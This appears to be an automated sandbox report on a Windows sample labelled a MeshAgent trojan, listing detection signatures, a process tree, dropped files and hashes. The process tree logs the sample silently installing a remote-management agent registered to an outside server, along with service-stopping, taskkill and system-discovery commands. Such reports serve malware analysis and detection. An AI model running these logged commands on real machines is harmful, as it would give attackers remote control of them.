Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08/09/2024, 10:20

General

  • Target
    2024-09-08_b2335e5c84c05a8e355ae4b9ee41f50a_poet-rat_snatch.exe
  • Size 5.0MB
  • Sample240908-mc5kes1aml
  • SHA256 6aebab43a79697212b99e5abbba345a72a05c78089295c8b08fcd5f12ba0d90a
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects MeshAgent payload 1 IoCs
  • MeshAgent

    MeshAgent is a trojan written in C++.

  • Sets service image path in registry 2 TTPs 1 IoCs
  • Stops running service(s) 4 TTPs
  • Executes dropped EXE 7 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in System32 directory 64 IoCs
  • Drops file in Program Files directory 13 IoCs
  • Launches sc.exe 2 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • System Location Discovery: System Language Discovery 1 TTPs 23 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 4 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Kills process with taskkill 1 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 6 IoCs
  • Runs net.exe
  • Runs ping.exe 1 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2024-09-08_b2335e5c84c05a8e355ae4b9ee41f50a_poet-rat_snatch.exe
    "C:\Users\Admin\AppData\Local\Temp\2024-09-08_b2335e5c84c05a8e355ae4b9ee41f50a_poet-rat_snatch.exe"
    1⤵
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:1196
    • C:\ProgramData\TacticalRMM\tacticalagent-v2.8.0-windows-amd64.exe
      C:\ProgramData\TacticalRMM\tacticalagent-v2.8.0-windows-amd64.exe /VERYSILENT /SUPPRESSMSGBOXES
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3944
      • C:\Users\Admin\AppData\Local\Temp\is-RMBNL.tmp\tacticalagent-v2.8.0-windows-amd64.tmp
        "C:\Users\Admin\AppData\Local\Temp\is-RMBNL.tmp\tacticalagent-v2.8.0-windows-amd64.tmp" /SL5="$802C6,3652845,825344,C:\ProgramData\TacticalRMM\tacticalagent-v2.8.0-windows-amd64.exe" /VERYSILENT /SUPPRESSMSGBOXES
        3⤵
        • Executes dropped EXE
        • Drops file in Program Files directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:4736
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /c ping 127.0.0.1 -n 2 && net stop tacticalrpc
          4⤵
          • System Location Discovery: System Language Discovery
          • System Network Configuration Discovery: Internet Connection Discovery
          • Suspicious use of WriteProcessMemory
          PID:2336
          • C:\Windows\SysWOW64\PING.EXE
            ping 127.0.0.1 -n 2
            5⤵
            • System Location Discovery: System Language Discovery
            • System Network Configuration Discovery: Internet Connection Discovery
            • Runs ping.exe
            PID:4364
          • C:\Windows\SysWOW64\net.exe
            net stop tacticalrpc
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:3408
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 stop tacticalrpc
              6⤵
              • System Location Discovery: System Language Discovery
              PID:1356
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /c net stop tacticalagent
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:5020
          • C:\Windows\SysWOW64\net.exe
            net stop tacticalagent
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:1008
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 stop tacticalagent
              6⤵
              • System Location Discovery: System Language Discovery
              PID:4076
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /c ping 127.0.0.1 -n 2 && net stop tacticalrmm
          4⤵
          • System Location Discovery: System Language Discovery
          • System Network Configuration Discovery: Internet Connection Discovery
          • Suspicious use of WriteProcessMemory
          PID:2012
          • C:\Windows\SysWOW64\PING.EXE
            ping 127.0.0.1 -n 2
            5⤵
            • System Location Discovery: System Language Discovery
            • System Network Configuration Discovery: Internet Connection Discovery
            • Runs ping.exe
            PID:2748
          • C:\Windows\SysWOW64\net.exe
            net stop tacticalrmm
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:4232
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 stop tacticalrmm
              6⤵
              • System Location Discovery: System Language Discovery
              PID:1364
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /c taskkill /F /IM tacticalrmm.exe
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:3192
          • C:\Windows\SysWOW64\taskkill.exe
            taskkill /F /IM tacticalrmm.exe
            5⤵
            • System Location Discovery: System Language Discovery
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:5012
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /c sc delete tacticalagent
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:3524
          • C:\Windows\SysWOW64\sc.exe
            sc delete tacticalagent
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:4724
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /c sc delete tacticalrpc
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2928
          • C:\Windows\SysWOW64\sc.exe
            sc delete tacticalrpc
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:436
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /c tacticalrmm.exe -m installsvc
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4488
          • C:\Program Files\TacticalAgent\tacticalrmm.exe
            tacticalrmm.exe -m installsvc
            5⤵
            • Executes dropped EXE
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3856
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /c net start tacticalrmm
          4⤵
          • System Location Discovery: System Language Discovery
          PID:4672
          • C:\Windows\SysWOW64\net.exe
            net start tacticalrmm
            5⤵
            • System Location Discovery: System Language Discovery
            PID:4264
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 start tacticalrmm
              6⤵
              • System Location Discovery: System Language Discovery
              PID:2600
    • C:\Program Files\TacticalAgent\tacticalrmm.exe
      "C:\Program Files\TacticalAgent\tacticalrmm.exe" -m install --api https://api.pion.1rfd.ru --client-id 1 --site-id 2 --agent-type workstation --auth 1266f47f43b83943068e936c3a2aa45bfda328b11e001aab1a121c5fe46cdc32
      2⤵
      • Executes dropped EXE
      • Drops file in Program Files directory
      • Modifies system certificate store
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5084
      • C:\Program Files\TacticalAgent\meshagent.exe
        "C:\Program Files\TacticalAgent\meshagent.exe" -fullinstall
        3⤵
        • Sets service image path in registry
        • Executes dropped EXE
        • Drops file in Program Files directory
        PID:1548
      • C:\Program Files\Mesh Agent\MeshAgent.exe
        "C:\Program Files\Mesh Agent\MeshAgent.exe" -nodeid
        3⤵
        • Executes dropped EXE
        PID:3948
  • C:\Program Files\Mesh Agent\MeshAgent.exe
    "C:\Program Files\Mesh Agent\MeshAgent.exe"
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • Modifies data under HKEY_USERS
    PID:3604
    • C:\Windows\System32\wbem\wmic.exe
      wmic SystemEnclosure get ChassisTypes
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3944
    • C:\Windows\system32\wbem\wmic.exe
      wmic os get oslanguage /FORMAT:LIST
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2592
    • C:\Windows\System32\wbem\wmic.exe
      wmic ComputerSystem get PCSystemType /FORMAT:"C:\Windows\system32\wbem\en-US\csv"
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4868
    • C:\Windows\system32\wbem\wmic.exe
      wmic os get oslanguage /FORMAT:LIST
      2⤵
        PID:5008
      • C:\Windows\System32\wbem\wmic.exe
        wmic SystemEnclosure get ChassisTypes
        2⤵
          PID:984
        • C:\Windows\System32\wbem\wmic.exe
          wmic ComputerSystem get PCSystemType /FORMAT:"C:\Windows\system32\wbem\en-US\csv"
          2⤵
            PID:4128
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -noprofile -nologo -command -
            2⤵
            • Drops file in System32 directory
            • Command and Scripting Interpreter: PowerShell
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:2704
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -noprofile -nologo -command -
            2⤵
            • Drops file in System32 directory
            • Command and Scripting Interpreter: PowerShell
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:3156
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -noprofile -nologo -command -
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:2588

        Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

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              Downloads

              MeshAgent.db

              • Path C:\Program Files\Mesh Agent\MeshAgent.db
              • Size 146KB
              • SHA256 a26fee40675c032bb859538975769ae90859d4f52397779403d518eb307ce4dd
              • MD5 SHA1 SHA512 SSDEEP

              meshagent.exe

              • Path C:\Program Files\TacticalAgent\meshagent.exe
              • Size 3.3MB
              • SHA256 e463e873e9d8e5c91d49d53cf56fcb799527e1dc8c627551b12a6255ac7d15fa
              • MD5 SHA1 SHA512 SSDEEP

              tacticalrmm.exe

              • Path C:\Program Files\TacticalAgent\tacticalrmm.exe
              • Size 9.2MB
              • SHA256 ad29d4e9e01870ffbdb6f2498e6ce36a708e56db2ad431ba2d80bf5a6caac069
              • MD5 SHA1 SHA512 SSDEEP

              tacticalagent-v2.8.0-windows-amd64.exe

              • Path C:\ProgramData\TacticalRMM\tacticalagent-v2.8.0-windows-amd64.exe
              • Size 4.3MB
              • SHA256 d6c7bdab07151678b713a02efe7ad5281b194b0d5b538061bdafdf2c4ca1fdaa
              • MD5 SHA1 SHA512 SSDEEP

              tacticalagent-v2.8.0-windows-amd64.tmp

              • Path C:\Users\Admin\AppData\Local\Temp\is-RMBNL.tmp\tacticalagent-v2.8.0-windows-amd64.tmp
              • Size 3.0MB
              • SHA256 4b0be5167a31a77e28e3f0a7c83c9d289845075b51e70691236603b1083649df
              • MD5 SHA1 SHA512 SSDEEP

              EB8A987063B21619B85B7927FA86BF70A761E300

              • Path C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\EB8A987063B21619B85B7927FA86BF70A761E300
              • Size 1KB
              • SHA256 cf50c11b99727434afb52047c69c5bf90ac4849db08a393bcc03f55ef9cdde0a
              • MD5 SHA1 SHA512

              __PSScriptPolicyTest_j1px2khz.zm2.ps1

              • Path C:\Windows\Temp\__PSScriptPolicyTest_j1px2khz.zm2.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512

              powershell.exe.log

              • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
              • Size 3KB
              • SHA256 54e15de2bef9f651d7717e2a336ac6b2ea2b723e6f29d2b153d8fbbc89aef723
              • MD5 SHA1 SHA512

              StartupProfileData-Interactive

              • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
              • Size 2KB
              • SHA256 6d36468c7571e829d346a2ae4fef846a8b6da8dd0ba7dd15b738d7627acf6414
              • MD5 SHA1 SHA512

              StartupProfileData-Interactive

              • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
              • Size 2KB
              • SHA256 86cd6b95819282eee4bd6c900b27ebeddf453a90a9f6147978e9137479f36bd6
              • MD5 SHA1 SHA512

              memory/2704-71-0x000001F71FB80000-0x000001F71FBF6000-memory.dmp

              memory/2704-68-0x000001F7054C0000-0x000001F7054E2000-memory.dmp

              memory/2704-69-0x000001F71FAB0000-0x000001F71FAF4000-memory.dmp

              memory/3156-103-0x000001E81F700000-0x000001E81F7B5000-memory.dmp

              memory/3156-105-0x000001E81F660000-0x000001E81F67C000-memory.dmp

              memory/3156-110-0x000001E81F7E0000-0x000001E81F7EA000-memory.dmp

              memory/3156-109-0x000001E81F650000-0x000001E81F656000-memory.dmp

              memory/3156-102-0x000001E81F620000-0x000001E81F63C000-memory.dmp

              memory/3156-108-0x000001E81F640000-0x000001E81F648000-memory.dmp

              memory/3156-104-0x000001E81F600000-0x000001E81F60A000-memory.dmp

              memory/3156-107-0x000001E81F7C0000-0x000001E81F7DA000-memory.dmp

              memory/3156-106-0x000001E81F610000-0x000001E81F61A000-memory.dmp

              memory/3944-26-0x0000000000400000-0x00000000004D7000-memory.dmp

              memory/3944-5-0x0000000000400000-0x00000000004D7000-memory.dmp

              memory/3944-8-0x0000000000401000-0x00000000004B7000-memory.dmp

              memory/4736-12-0x0000000000400000-0x0000000000712000-memory.dmp

              memory/4736-25-0x0000000000400000-0x0000000000712000-memory.dmp